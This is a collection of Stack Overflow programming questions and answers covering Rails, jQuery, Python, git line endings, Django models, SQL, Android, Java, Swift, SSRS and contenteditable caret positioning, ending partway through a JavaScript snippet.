lib/active_support/tagged_logging.rb:26:in `tagged' - activesupport (4.2.3) lib/active_support/tagged_logging.rb:68:in `tagged' - railties (4.2.3) lib/rails/rack/logger.rb:20:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/request_id.rb:21:in `call' - rack (1.6.4) lib/rack/methodoverride.rb:22:in `call' - rack (1.6.4) lib/rack/runtime.rb:18:in `call' - activesupport (4.2.3) lib/active_support/cache/strategy/local_cache_middleware.rb:28:in `call' - rack (1.6.4) lib/rack/lock.rb:17:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/static.rb:116:in `call' - rack (1.6.4) lib/rack/sendfile.rb:113:in `call' - rack-mini-profiler (0.9.8) lib/mini_profiler/profiler.rb:282:in `call' - railties (4.2.3) lib/rails/engine.rb:518:in `call' - railties (4.2.3) lib/rails/application.rb:165:in `call' - rack (1.6.4) lib/rack/content_length.rb:15:in `call' - puma (2.12.2) lib/puma/server.rb:539:in `handle_request' - puma (2.12.2) lib/puma/server.rb:386:in `process_client' - puma (2.12.2) lib/puma/server.rb:269:in `block in run' - puma (2.12.2) lib/puma/thread_pool.rb:106:in `block in spawn_thread' </code></pre> <p>It might have to do with the respond_to block. Here is the code of that bellow:</p> <pre><code>def update if params[:audio][:attachment].blank? &amp;&amp; update_image_params.present? @audio.update_audio_cover_picture update_image_params["photo"] end if @audio.errors.empty? &amp;&amp; @audio.update_attributes(update_audio_params) respond_to do |format| format.html { redirect_to user_audios_path(@user) } end else respond_to do |format| format.html { render :edit } format.js { render json: { result: :failed, errors: @audio.errors } } end end end </code></pre> <p>This is a copy of the same code I use for my other project. It completely works on that app:</p> <pre><code>def update if params[:book][:attachment].blank? &amp;&amp; update_image_params.present? @book.update_book_cover_picture update_image_params["photo"] end if @book.errors.empty? &amp;&amp; @book.update_attributes(update_book_params) respond_to do |format| format.html { redirect_to user_books_path(@user) } format.json { render json: { result: :success, url: user_books_url(@user) } } end else respond_to do |format| format.html { render :edit } format.js { render json: { result: :failed, errors: @book.errors } } end end end </code></pre>
36473069	0	 <pre><code>$('option:checked') </code></pre> <p>in my project, i used the above for instead.</p> <p><a href="http://jsbin.com/diqisa/edit?html,js" rel="nofollow">demo</a></p>
7909009	0	 <p>Before I give my explanation, let me say that most pure REST extremists will deride it to the ends of the earth. I don't agree with them, as i'd rather get something done, but just so you know.</p> <p>WADL is a description of a web service API, a little like WSDL is for SOAP type web services, that is designed to be more in tune with RESTful interfaces (something WSDL is poor at).</p> <p>It's primary usage in my experience is to allow you to generate client code that can call the service (handy if it's a very large API, which literally saves hours of work). It also serves the purpose of documenting a REST-like interface.</p>
8946212	0	 <p>try:</p> <pre><code>myWords=['some', 'supplied','words'] theTextContents='a string that might or might not have all of some supplied words' goodElements=[] splitted = theTextContents.split() if all(word in splitted for word in myWords): goodElements.append(theTextContents) </code></pre>
31280214	0	 <p>If the global or local core.autocrlf setting is not getting the results that you want, you can set a git line ending attribute and force the result that you are looking for.</p> <pre><code># Set eol conversions on all text-based files to 'nothing' echo '* text' &gt;&gt; .gitattributes # Force git to re-scan dir rm .git/index git reset # Review current files git status </code></pre> <p>Note: Normally the eol setting would be:</p> <pre><code>* text=auto </code></pre>
24403867	1	Wait for song played outside of python to finish <p>I am trying to wait for a song to finish to play the next song. </p> <p>I am running python 3.4 on windows but am trying to be able to use it on Linux (<code>raspberry pi</code>). </p> <p>I have used the command <code>subprocess.call([PLAYER, SONG])</code> to open the mp3 file. It plays in vlc and then stops. I know that I have not incorporated anything for the program to tell python when its finished. </p> <p>That's where you guys come in. I want to find a command that will wait until the song has finished and when the song is finished, the rest of the code will process. </p> <p>I would like the command to be able to used on a Linux operating system and I am trying not to have to install any modules. </p> <p>If modules are definitely needed, I will install them. </p>
20950069	0	 <p>If process terminates then Yes, but that does not happen very often. Android is designed to keep processes in background to start them quickly once user want to go back to you app. </p> <p>You should not rely that your app will be terminated to fix some memory leaks. There are tools to fix them, like dumping HPROF file and using memory analyzer, also using weak references, and using good programming practicies - mostly not leaking activities.</p> <p>[edit] - there are resources that are not always freed on process end, while working with android TTS apis, I found that after few app crashes I have to reset device to be able to use svox voices.</p>
7031525	0	 <p>try this:</p> <p>var works = x.ToArray().Select(c => (byte)c).ToArray();</p>
29947725	0	 <p>Hi your code looks correct. Here's an working example of my paging.</p> <pre><code>initComponent: function () { var me = this; me.store = Ext.create('Desktop.children.store.childrenStore'); me.columns = [ { text : 'Nachname', dataIndex: 'lastName', flex: 1 }, { text : 'Vorname', dataIndex: 'firstName', flex: 1 }, { text : 'Gruppe', //name: 'group_id', dataIndex: 'groupName', flex: 1 }, { text : 'Faktor', //name: 'group_id', dataIndex: 'factorName', flex: 1 }, { xtype: 'datecolumn', text : 'Geburtsdatum', dataIndex: 'birthdate', format: 'd.m.Y', flex: 1 }, { text : 'Status', //name: 'group_id', dataIndex: 'isActive', flex: 1 }, { xtype: 'actioncolumn', width: 60, menuDisabled: true, items: this.LoadControlBar() } ]; me.plugins = [{ ptype:'saki-gridsearch' ,searchText: 'Suchen' ,autoTipText: 'Mindestens zwei Zeichen' ,selectAllText: 'Selektiere alle' }]; me.bbar = me.paging = Ext.create('Ext.toolbar.Paging', { store:me.store ,displayInfo:true }); me.tbar = [ { xtype: 'button', id:'child_btn_add', text:'Kind hinzufügen', tooltip:'Neues Kind hinzufügen', iconCls:'add', hidden: (CheckPermission('Desktop.children.view.Mainwindow') != "WRITE"), handler:function(view, e){ this.fireEvent('AddChildren', view, e); } }, { xtype: 'button', id: 'btnChildExport', text: 'Liste exportieren', tooltip: 'Spezifische Liste exportieren', iconCls: 'exportList', handler: function(view, e){ this.fireEvent('ExportList', view, e); } } ]; me.callParent(); }, </code></pre> <p>store:</p> <pre><code>Ext.define('Desktop.children.store.childrenStore', { extend: 'Ext.data.Store', id: 'childrenStore', alias: 'widget.childrenStore', requires: [ 'Desktop.children.model.childrenModel', 'Ext.data.proxy.Memory', 'Ext.data.reader.Array' ], model: 'Desktop.children.model.childrenModel', //autoLoad:true, pageSize: 10, proxy: { type:'ajax', enablePaging: true, url:'resources/php/json.php', headers: { 'Content-Type': 'application/json' }, extraParams:{ data : JSON.stringify({ module : "children", action : "load", jsonObject : null}), start: 0, limit: 10, }, reader:{ type:'json', rootProperty: 'Anfang' } }, sorters: [{ property : 'lastName', direction:'ASC' }], }); </code></pre>
37736662	1	Django Best Practice for Handling Related Model Objects Between Apps <p>I have a project that has 2 different apps. One handles a site's performance metrics and the other estimates site's workload. The workload app has some dependencies on the performance app. However, I am trying to avoid creating a dependency from the metrics app to the workload app in order to better encapsulate the metrics app as stand-alone. For example, metrics has this model:</p> <pre><code># models.py in metrics app: class Site(models.Model): site_name = models.CharField(max_length=255) site_geography = models.CharField(max_length=255) slug = AutoSlugField(populate_from='site_name', unique=True, null=True) </code></pre> <p>Workload app has objects such as (some omitted for brevity):</p> <pre><code># models.py in workload app: class Resource (models.Model): name_first = models.CharField(max_length=60) name_last = models.CharField(max_length=60) address_street = models.CharField(max_length=80, blank=True) address_city = models.CharField(max_length=40, blank=True) address_state = models.CharField(max_length=2, blank=True) sites = models.ManyToManyField(metrics_models.Site, through='ResourceSiteRelationship', blank=True, related_name='resources') class Activity (models.Model): activity_name = models.CharField(max_length=255) hours = models.DecimalField(max_digits=5, decimal_places=2) travel = models.BooleanField() description = models.TextField(blank=True) class ResourceSiteRelationship (models.Model): roles = models.ManyToManyField(Role, blank=True, related_name='resource_site_relationships') resource = models.ForeignKey(Resource, on_delete=models.CASCADE, blank=True, null=True, related_name='resource_site_relationships') site = models.ForeignKey(metrics_models.Site, on_delete=models.CASCADE, blank=True, null=True, related_name='resource_site_relationships') </code></pre> <p>Site should also have the following field relationship:</p> <pre><code>activities = models.ManyToManyField(Activity, related_name='sites', blank=True) </code></pre> <p>Is it best to add that field to the metric's app's instance of Site? Is it better to create a one-to-one class for Site in the workload app and extend like so:</p> <pre><code>class Site(models.Model): site = models.OneToOneField(metrics_models.Site, on_delete=models.CASCADE) activities = models.ManyToManyField(Activity, related_name='sites', blank=True) </code></pre> <p>Or is there another way to do this?</p>
26613338	0	Fire a method after transclude has finished <p>I have an Angular directive that creates an accordion out of <code>&lt;ol&gt;</code> and <code>&lt;li&gt;</code> elements, with each <code>&lt;li&gt;</code>'s content being wrapped in a transcluded template. I need to fire a method to check if any of these <code>&lt;li&gt;</code> elements has an error, and open that accordion, but I can't find a way to fire the method <em>after</em> the elements have been transcluded. </p> <p>Is there a hook or directive config that will time this correctly?</p>
12277308	0	 <p>I would suggest you to send a TVP (table value parameter) back to the server. After that your query could be done like:</p> <pre><code>SELECT p.ProductId, Name, Description, {other columns} FROM Products p left join @ExceptedProducts ep on p.ProductId=ep.ProductId WHERE where ep.ProductId is null </code></pre> <p>This should be the fastest and cleanest way.</p>
31366881	0	 <p>Just remove .png from the image strings </p> <pre><code>let TopButtonImageNamesBlue = [ "Aquarium Icon Blue", "Bugs Icon Blue", "Ancient World Icon Blue", "World Cultures Icon Blue", "Dinosaurs Icon Blue", "Space Icon Blue"] </code></pre> <p>Here is my working code :</p> <pre><code> var images = ["01","02","03"] var image : UIImage? = UIImage(named: images[0]) if (image == nil) { println("null") } else{ var button: UIButton = UIButton.buttonWithType(UIButtonType.Custom) as! UIButton button.frame = CGRectMake(0, 0, 50, 50) button.setImage(image, forState: .Normal) self.view.addSubview(button) println("image is available") } </code></pre> <p>Output is :</p> <blockquote> <p>image is available</p> </blockquote> <p><img src="https://i.stack.imgur.com/1JY6i.png" alt="enter image description here"></p> <p>You must give the name same as assets folder. </p>
32822743	0	 <blockquote> <ul> <li><strong>demo:</strong> <a href="http://so.devilmaycode.it/filtering-model-on-client-angularjs/" rel="nofollow">http://so.devilmaycode.it/filtering-model-on-client-angularjs/</a></li> </ul> </blockquote> <p>please refer to demo source code.</p>
28719897	0	Create action with delayed_job <p>In my controller I am trying to move my create method into a background process, as it takes too much time. I can't get it right. </p> <p>My option 1:</p> <p>First I went with creating a self method for my controller so it looked like this:</p> <pre><code> def create MyController.delay.create_and_email(current_app_user) respond_to do |format| format.js {} end end def create_and_email(user) @user = AppUser.find_by(id: user.id) @link_share = @user.link_shares.build(link_share_params) @link_share.save end </code></pre> <p>I had to throw in the current_app_user as the self method could not see it, but I got totally puzzled on what to do with my link_share strong params, because the self method does not see the <strong>link_share_params</strong>. I guess I could make this option work, if anyone would point me how to throw in strong params into a self. controller method.</p> <p>My option 2:</p> <p>I then decided to move the whole action into my User model like this</p> <p>Contoller:</p> <pre><code> def create @user = current_app_user @user.delay.create_and_email(link_share_params) respond_to do |format| format.js {} end end </code></pre> <p>Model:</p> <pre><code> def create_and_email link_share = self.link_shares.build(**params**) link_share.save end </code></pre> <p>Again, trouble with the strong params. How would I go with importing my params into the model? Should I just chain them as arguments? </p> <p>Any advice appreciated</p>
17752476	0	 <p>Generally this means that the parameter within the square brackets is optional; however, without a link to the specific documentation it's hard to say.</p>
10841371	0	 <p>Re: Ahmad's code - a simpler approach with no recursion or pointers, fairly naive, but requires next to no computational power for anything short of really titanic numbers (roughly 2N additions to verify the Nth fib number, which on a modern machine will take milliseconds at worst)</p> <p>// returns pos if it finds anything, 0 if it doesn't (C/C++ treats any value !=0 as true, so same end result)</p> <pre><code>int isFib (long n) { int pos = 2; long last = 1; long current = 1; long temp; while (current &lt; n) { temp = last; last = current; current = current + temp; pos++; } if (current == n) return pos; else return 0; } </code></pre>
35751935	0	 <p>Try this and tell me:</p> <pre><code>SELECT a.seq_id, a.id, GROUP_CONCAT(cnt) AS cnt FROM music_artist AS a, ( SELECT ma.artist_id, CONCAT_WS('-', mgr.country_code, count(mgr.media_id)) AS cnt FROM music_album_artists AS ma JOIN media_geo_restrict AS mgr ON ma.album_id = mgr.album_id GROUP BY mgr.country_code ) AS count_table WHERE a.seq_id &gt; 0 and a.seq_id &lt; 10000 and a.id=count_table.artist_id group by a.id </code></pre>
12696770	0	 <p>In addition to existing good answer by @Nominal Aminal it is an integer but it points to an entry of a structure in kernel called file descriptor table. That is at least the case with Linux. Of the several fields that are part of that struct, an interesting one is:</p> <pre><code>FILE * pointer; // descriptor to / from reference counts etc. </code></pre> <p>You might be interested in following api's which given one of FILE * or descriptor, return the other</p> <p><a href="http://stackoverflow.com/questions/4210966/c-how-can-i-change-from-file-descriptor-to-file-struct-and-visa-versa">How to obtain FILE * from fd and vice versa</a></p>
28712540	0	 <p>I found <a href="https://www.nuget.org/packages/lightbuzz-smtp/" rel="nofollow">SMTP client for WinRT</a> which work for me</p>
36798569	0	 <p>When the combobox loads initially, no item is selected. It then sets the selected item to "Keine Angabe" based on the IsSelected property. This then causes the selection change event to fire. If you remove it, you will see the event is not fired.</p> <p>You can re-use the method for other comboboxes by casting the sender to the combobox type: See below:</p> <pre><code>private void ComboBox_SelectionChanged(object sender, SelectionChangedEventArgs e) { var combobox = sender as ComboBox; combobox.BorderBrush = new SolidColorBrush(new Color { R = 204, G = 204, B = 204, A = byte.MaxValue }); } </code></pre>
4424999	0	 <p>Here is another approach to make a deck of cards</p> <pre><code>from itertools import product card_values = ( ("1", "1", 1), ("2", "2", 2), ("3", "3", 3), ("4", "4", 4), ("5", "5", 5), ("6", "6", 6), ("7", "7", 7), ("8", "8", 8), ("9", "9", 9), ("10" ,"10", 10), ("Jack", "J", 10), ("Queen", "Q", 10), ("King", "K", 10), ("Ace", "A", 11)) card_suits = ("Spades", "Clubs", "Hearts", "Diamonds") class Card(object): def __init__(self, name, short_name, rank, suit): self.name = name self.short_name = short_name self.rank = rank self.suit = suit cards = [] for (name, short_name, rank), suit in product(card_values, card_suits): cards.append(Card(name, short_name, rank, suit)) </code></pre>
31904343	0	How to start an activity from a custom ListView? <p>I have a custom listview in which I can add as many elements as I want. All of these elements must open an activity (which is called "Compile" in my project) with a few edittext stuff to fill. The problem is that I don't actually know what to write in my code to tell the app to open the Compile activity when one of the elements is clicked. </p> <p>//(Obviously every element must open its Compile activity with its relative informations. For example: element "Pizza" must open the activity Compile in which there are all the infos I previously put about Pizza.)//</p> <p>Thanks for the support </p> <p>This is my code for the listview:</p> <pre><code>public class Sheet extends Activity { private static final int DIALOG_ALERT = 10; ListView list; ImageView addBtn; EditText input; String[] items; MyListAdapter adapter; AlertDialog alert; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_sheet); list = (ListView) findViewById(R.id.list); addBtn = (ImageView) findViewById(R.id.addPlanBtn); input = new EditText(this); items = new String[1]; alert = new AlertDialog.Builder(Sheet.this).create(); alert.setTitle("Activity name: "); alert.setMessage("Type a name for your activity: "); alert.setView(input); alert.setButton("add", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { String value = input.getText().toString(); items[items.length - 1] = value; adapter = new MyListAdapter(Sheet.this, items); list.setAdapter(adapter); String[] temp = new String[items.length +1]; for(int i = 0; i&lt; items.length; i++) temp[i] = items[i]; items = temp; alert.dismiss(); adapter.notifyDataSetChanged(); } }); addBtn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { alert.show(); } }); } </code></pre>
1672455	0	 <p>It depends on what <code>stringArray</code> is. If it's a <a href="http://www.j2ee.me/javase/6/docs/api/java/util/Collection.html" rel="nofollow noreferrer"><code>Collection</code></a> then fine. If it's a true array, you should make it a <code>Collection</code>. The <code>Collection</code> interface has a method called <a href="http://bit.ly/2o9fix" rel="nofollow noreferrer"><code>contains()</code></a> that will determine if a given <code>Object</code> is in the <code>Collection</code>.</p> <p>Simple way to turn an array into a <code>Collection</code>:</p> <pre><code>String tokens[] = { ... } List&lt;String&gt; list = Arrays.asList(tokens); </code></pre> <p>The problem with a <a href="http://www.j2ee.me/javase/6/docs/api/java/util/List.html" rel="nofollow noreferrer"><code>List</code></a> is that lookup is expensive (technically linear or <code>O(n)</code>). A better bet is to use a <a href="http://www.google.com.au/search?hl=en&amp;rlz=1C1GGLS_enAU314AU317&amp;q=java.util.set+6&amp;btnG=Search&amp;meta=&amp;aq=f&amp;oq=" rel="nofollow noreferrer"><code>Set</code></a>, which is unordered but has near-constant (<code>O(1)</code>) lookup. You can construct one like this:</p> <p>From a <code>Collection</code>:</p> <pre><code>Set&lt;String&gt; set = new HashSet&lt;String&gt;(stringList); </code></pre> <p>From an array:</p> <pre><code>Set&lt;String&gt; set = new HashSet&lt;String&gt;(Arrays.asList(stringArray)); </code></pre> <p>and then <code>set.contains(line)</code> will be a cheap operation.</p> <p><strong>Edit:</strong> Ok, I think your question wasn't clear. You want to see if the line contains any of the words in the array. What you want then is something like this:</p> <pre><code>BufferedReader in = null; Set&lt;String&gt; words = ... // construct this as per above try { in = ... while ((String line = in.readLine()) != null) { for (String word : words) { if (line.contains(word)) [ // do whatever } } } } catch (Exception e) { e.printStackTrace(); } finally { if (in != null) { try { in.close(); } catch (Exception e) { } } } </code></pre> <p>This is quite a crude check, which is used surprisingly open and tends to give annoying false positives on words like "scrap". For a more sophisticated solution you probably have to use regular expression and look for word boundaries:</p> <pre><code>Pattern p = Pattern.compile("(?&lt;=\\b)" + word + "(?=\b)"); Matcher m = p.matcher(line); if (m.find() { // word found } </code></pre> <p>You will probably want to do this more efficiently (like not compiling the pattern with every line) but that's the basic tool to use.</p>
8012124	0	 <p>Object (the class from which all java objects ultimately inherit) defines it's own toString() method. Therefore, if you don't override the toString() method in your class, then it will use the one defined in Object() (or any intermediate classes between your class and Object).</p> <p>This is why, if you don't define a toString() method, you don't get an error from javac.</p> <p>This usually results in a String like</p> <pre><code>System.out.println("o=" + new Object().toString()) o=java.lang.Object@1176e5f </code></pre>
6576281	0	 <p>The problem is NOT your texture coordinates.</p> <p>The problem is that you're loading the texture wrong. You're forgetting to remove the bitmap header, so all the real data is shifted over, and the end of each line is shifted onto the beginning of the next line.</p> <p>Texture wrapping would wrap pixels from the right back onto the same line, but the out-of-place region is shifted down one row. Texture wrapping also wouldn't occur with the "clamp to edge" mode you've enabled.</p>
6134230	0	continuously print the last line of a file Linux termin <p>Two questions, but only stuck on one. Feel that I need the first one so someone can help me make sense of it.</p> <p>4) Use cat and /dev/null to create an empty file.</p> <p>5) Start a background process that continuously prints the last line of the file created in #4..</p> <p>So what i did for number 4 was: </p> <pre><code>cat /dev/null &gt; emptyfile </code></pre> <p>This created an empty file. Okay so I am happy with that. The next question however confuses me. How can I read the last line of an empty file? Better yet how do I continuously do this? Running it in the background isn't a problem. Anyone have any ideas? We haven't covered scripting yet so I don't think that plays a role. As always, thanks for the help.</p>
31098176	0	 <p>Another possible solution is to add a constructor parameter and have a factory method;</p> <pre><code>public class Something extends SomethingElse { private Something(int arg) { super(arg); } public static Something getSomething() { return new Something(new Random().nextInt(10) + 5); } } </code></pre>
25370498	0	Validation for multiplying value at C++? <p>I have to make a test where a number has to be the <strong>multiple</strong> of 500,</p> <pre><code> do{ cout &lt;&lt; "Input Price[price&gt;0|price multiple of 500]: "; cin &gt;&gt; price; cin.sync(); cin.clear(); } while (price&lt;1 || price&gt;5000); </code></pre> <p>The code is still incomplete, I just have to add the following validation left. What do I do?</p> <p>and also what is the right term for that kind of validation? I had a hard time determining the title.</p>
29484526	0	 <p><a href="http://examples.javacodegeeks.com/java-basics/exceptions/java-io-notserializableexception-how-to-solve-not-serializable-exception/" rel="nofollow">NotSerializableException</a> is thrown when an instance of a class must implement the Serializable interface.</p> <p>If the class that throws the exception does not belong to a third-party library, find the class and make it implement the serializable interface.</p> <p>If you do not want to serialize the objects in the class, you can mark the objects as <a href="http://stackoverflow.com/questions/910374/why-does-java-have-transient-variables">transient</a>, to make the serializable runtime ignore the objects.</p> <p>You can read about it <a href="http://examples.javacodegeeks.com/java-basics/exceptions/java-io-notserializableexception-how-to-solve-not-serializable-exception/" rel="nofollow">here</a></p>
31148932	0	Add JavaScript Through Acumatica Customization <p>I'm wondering if it's possible to add JavaScript code to an Acumatica web page through a customization.</p> <p>Thanks for your help!</p> <p>Fran Parker</p>
4803873	0	 <p>I just love this in-depth article about Entity Framework 4 POCO, Repository and Specification Pattern</p> <p><a href="http://huyrua.wordpress.com/2010/07/13/entity-framework-4-poco-repository-and-specification-pattern/" rel="nofollow">http://huyrua.wordpress.com/2010/07/13/entity-framework-4-poco-repository-and-specification-pattern/</a></p>
27850603	0	 <p>To convert from one date format to another, just modify the answer posted at <a href="http://stackoverflow.com/a/27659933/1745001">http://stackoverflow.com/a/27659933/1745001</a> to suit your input format.</p>
39311853	0	Android - force network requests go through wifi instead of mobile network <p>I have an app which connects to a hardware device Wi-Fi hotspot. It seems that Android forward requests over other networks (3G/4G for example) instead the hotspot, since my hot spot has no internet connection.</p> <p>Is there any way to force network stream to work on the wifi? I've come across the following function, but it's deprecated: <a href="https://developer.android.com/reference/android/net/ConnectivityManager.html#setNetworkPreference(int)" rel="nofollow">https://developer.android.com/reference/android/net/ConnectivityManager.html#setNetworkPreference(int)</a></p>
33710914	0	Generating sorted list of all possible coprimes <p>I need to generate infinite sorted list of all coprimes. The first element in each pair must be less than the second. The sorting must be done in ascending order -- by the sum of pair's elements; and if two sums are equal, then by the pair's first element.</p> <p>So, the resulting list must be </p> <pre><code>[(2,3),(2,5),(3,4),(3,5),(2,7),(4,5),(3,7),(2,9),(3,8),(4,7)...` </code></pre> <p>Here's my solution.</p> <pre><code>coprimes :: [(Int, Int)] coprimes = sortBy (\t1 t2 -&gt; if uncurry (+) t1 &lt;= uncurry (+) t2 then LT else GT) $ helper [2..] where helper xs = [(x,y) | x &lt;- xs, y &lt;- xs, x &lt; y, gcd x y == 1] </code></pre> <p>The problem is that I can't take <code>n</code> first pairs. I realize that sorting can't be done on infinite lists.</p> <p>But how can I generate the same sequence in a lazy way?</p>
29012663	0	Can't save Jasypt encrypted password to .properties file <p>I'm trying to store some strings in a .properties file. Now i want to encrypt those strings with Jasypt. But when I try to save this to the .properties file it is missing the surrounding "ENC()". When i try to insert this manually, the string is stored in clear text. Why?</p> <pre><code>StandardPBEStringEncryptor encryptor = new StandardPBEStringEncryptor(); encryptor.setPassword("123456789"); Properties prop = new EncryptableProperties(encryptor); prop.setProperty("key", "ENC(" + encryptor.encrypt("value") + ")"); prop.store(new FileOutputStream(System.getProperty("user.home") + "/.application-name/config.properties"), "Test"); </code></pre>
23996375	0	Can't resolve a Locale <p>I have a problem with Locale's. I'm trying to do a simple thing where I can choose english or german. So I have two property files called messages_en and messages_de. So far these files have a single line:</p> <pre><code> contactbook = Contact Book </code></pre> <p>and </p> <pre><code> contactbook = Adressbuch </code></pre> <p>respectively. </p> <p>Now in my JSP view I have this :</p> <pre><code> &lt;spring:message code="contactbook"/&gt; </code></pre> <p>The idea is that the message in the view changes depending on which locale we're using. Now the locale itself should be changed with this line:</p> <pre><code> &lt;a href="?language=en"&gt;English&lt;/a&gt;|&lt;a href="?language=de"&gt;German&lt;/a&gt; </code></pre> <p>If I remove the everything works great but of course it's not locale specified. So the rest of the view is good.</p> <p>In my dispatcher-servlet.xml file I have this:</p> <p> </p> <pre><code>&lt;bean id="localeResolver" class="org.springframework.web.servlet.i18n.SessionLocaleResolver"&gt; &lt;property name="defaultLocale" value="en" /&gt; &lt;/bean&gt; &lt;bean id="localeChangeInterceptor" class="org.springframework.web.servlet.i18n.LocaleChangeInterceptor"&gt; &lt;property name="paramName" value="language" /&gt; &lt;/bean&gt; &lt;bean class="org.springframework.web.servlet.mvc.support.ControllerClassNameHandlerMapping" &gt; &lt;property name="interceptors"&gt; &lt;list&gt; &lt;ref bean="localeChangeInterceptor" /&gt; &lt;/list&gt; &lt;/property&gt; &lt;/bean&gt; </code></pre> <p>Again, without it everything works well. There's something wrong with my understanding here. The localeChangeInterceptor stops any change done to the locale and the ControllerClassNameHandlerMapping does what? I keep on looking at my controller and wondering should I add something to it but it seems to me that all these lines in the dispatcher should be enough.</p> <p>The exception I get is </p> <pre><code> No message found under code 'contactbook' for locale 'en' </code></pre> <p>Despite a myriad of examples out there I keep on failing to understand or resolve the problem. Any help would be greatly appreciated.</p>
30766678	0	 <p>You can make search like this:</p> <pre><code>cable OR cable* </code></pre> <p>This way Solr will search the exactly term <code>cable</code> and your synonyms and <code>cable*</code> will search every terms that starts with <code>cable</code>.</p>
9567879	0	 <p>As far as I know, the declaration reserves some memory according to how may bytes this specific type needs. These bytes could in theory be randomly filled with whatever was physically occupying those specific bytes of hardware.</p>
31122222	0	Quickfixj not honoring custom fields in a repeating group <p>I am using FIXT1.1 and FIX Application version 5.0SP2. </p> <p>I added some custom fields to the QuotSetAckGrp, part of MassQuoteAcknowledgement message. However, when quickfix reads the repeating group, it does not read the custom fields as part of the repeating groups. Instead, it treats the custom fields are regular parent-level fields and throws a "Tag appears more than once" session level reject. </p> <p>Appreciate any inputs to help resolve the issue.</p>
34744443	0	How to change connection type of SSRS report Data source dynamically <p>I have an application that binds the RDL file on report server to Report viewer control to produce reports. We use embedded data source in the RDL file. We have used expression based connection string for our embedded data source So that we will be able to change the data source dynamically.</p> <p>We wanted to access the report using both windows integrated security and SQL server authentication. Now if our data source is configured to use windows integrated security and we wanted to access the report using SQL authentication, then we are modifying the RDL file using web methods before producing the report.</p> <p>Is there any other way to do this?</p>
14598407	0	 <p>All your mess is really goes from fact, that you don't know if cfg was allocated on heap or wasn't. Just calling malloc somewhere on startup means nothing -- libc calls malloc several times even for void program.</p> <p>Let me explain you how to determine where your data is.</p> <p>Lets start with your code, some modified:</p> <pre><code>#include "stdlib.h" class Config { public: Config(int spi) {_spi = &amp;spi;} virtual ~Config() {;} private: int *_spi; }; Config cfg(2); int main(void) { int *x = new int(2); return 0; } </code></pre> <p>Now lets compile it with <code>g++ -g -O0 statstorage.cpp -static</code></p> <p>You got a.out file. Now we must look where your data are actually are. First call gdb with command line like this:</p> <pre><code>echo -e "start\nstep\np/x &amp;cfg\np/x x\nquit" &gt; .gdbinit &amp;&amp; gdb a.out </code></pre> <p>You will got output like this:</p> <pre><code>$1 = 0x6add50 $2 = 0x6c5670 </code></pre> <p>Where 0x6add50 is address of your cfg, and 0x6c5670 is address of dynamically allocated x pointer.</p> <p>Now lets call readelf, like <code>readelf -S a.out</code></p> <p>And look where sections are. Output is (for my pc) 38 sections. All we need is Address field and Size field. I have:</p> <pre><code> Address Size [23] .bss ... 00000000006add00 ... 0000000000014d38 [24] __libc_freeres_pt ... 00000000006c2a38 ... 0000000000000030 </code></pre> <p>And __libc_freeres_pt is the last section with the biggest non-null address.</p> <p>We can see, that 0x6c5670 is outside loaded binary (in heap itself), and cfg is inside bss section.</p> <p>This yields, taht cfg <strong>was</strong> allocated statically.</p>
37831309	0	Testing Socket.IO with session <p>We have some functionality based on the Socket.IO. Socket.IO uses express-session and cookieParser. How can I test server side of Socket.IO in Node.js, not browser environment? Is there any way to pass cookies to io.connect() function?</p>
34061473	0	 <p>You can convert with <code>strtotime()</code> to safely date-manipulating and then you can reorder the array:</p> <pre><code>$dates = array( '2015-02-13', '2015-04-21', '2015-08-18', '2015-11-26', '2015-09-15', '2015-01-07', '2015-02-11', '2015-07-14', '2015-03-02', ); $newArray = array(); foreach($dates as $value) { $newArray[] = strtotime($value); } sort($newArray); var_dump($newArray); </code></pre>
18119464	0	 <p>The problem is case-sensitivity. MySQL identifiers are not case sensitive unless you enclose them in backticks. However, PHP array indexes <em>are</em>. </p> <p>Therefore if you have a column named <code>CourseName</code>, the following query <em>will</em> work:</p> <pre><code>SELECT * FROM course WHERE cOuRSEnaME = 'foo' ORDER BY courSEnAmE </code></pre> <p>But, referencing it in PHP as <code>$row['coursename']</code>, <code>$row['cOURsENamE']</code> or any other differing combination will not work, as these all refer to <em>different</em> keys. You must use <code>$row['CourseName']</code>.</p> <p>See also: <a href="http://stackoverflow.com/questions/1511230/php-array-are-array-indexes-case-sensitive">PHP array, Are array indexes case sensitive?</a></p>
26688550	0	 <p><code>git config -l</code></p> <p>if current git repository's <code>core.precomposeunicode=true</code></p> <p>try this,</p> <p><code>git config core.precomposeunicode false</code></p> <p>and this is why. <a href="http://git-scm.com/docs/git-config">from here</a></p> <blockquote> <p>core.precomposeunicode This option is only used by Mac OS implementation of Git. When core.precomposeunicode=true, Git reverts the unicode decomposition of filenames done by Mac OS. This is useful when sharing a repository between Mac OS and Linux or Windows. (Git for Windows 1.7.10 or higher is needed, or Git under cygwin 1.7). When false, file names are handled fully transparent by Git, which is backward compatible with older versions of Git.</p> </blockquote>
13084499	0	 <p>I came into this problem today. After some testing, I got this working, without using temorary element.</p> <p>In IE, it's easy to work it out with offsetLeft and offsetTop property of a TextRange object. Some effort is needed for webkit though.</p> <p>Here's a test, you can see the result. <a href="http://jsfiddle.net/gliheng/vbucs/12/">http://jsfiddle.net/gliheng/vbucs/12/</a></p> <pre><code>var getCaretPixelPos = function ($node, offsetx, offsety){ offsetx = offsetx || 0; offsety = offsety || 0; var nodeLeft = 0, nodeTop = 0; if ($node){ nodeLeft = $node.offsetLeft; nodeTop = $node.offsetTop; } var pos = {left: 0, top: 0}; if (document.selection){ var range = document.selection.createRange(); pos.left = range.offsetLeft + offsetx - nodeLeft + 'px'; pos.top = range.offsetTop + offsety - nodeTop + 'px'; }else if (window.getSelection){ var sel = window.getSelection(); var range = sel.getRangeAt(0).cloneRange(); try{ range.setStart(range.startContainer, range.startOffset-1); }catch(e){} var rect = range.getBoundingClientRect(); if (range.endOffset == 0 || range.toString() === ''){ // first char of line if (range.startContainer == $node){ // empty div if (range.endOffset == 0){ pos.top = '0px'; pos.left = '0px'; }else{ // firefox need this var range2 = range.cloneRange(); range2.setStart(range2.startContainer, 0); var rect2 = range2.getBoundingClientRect(); pos.left = rect2.left + offsetx - nodeLeft + 'px'; pos.top = rect2.top + rect2.height + offsety - nodeTop + 'px'; } }else{ pos.top = range.startContainer.offsetTop+'px'; pos.left = 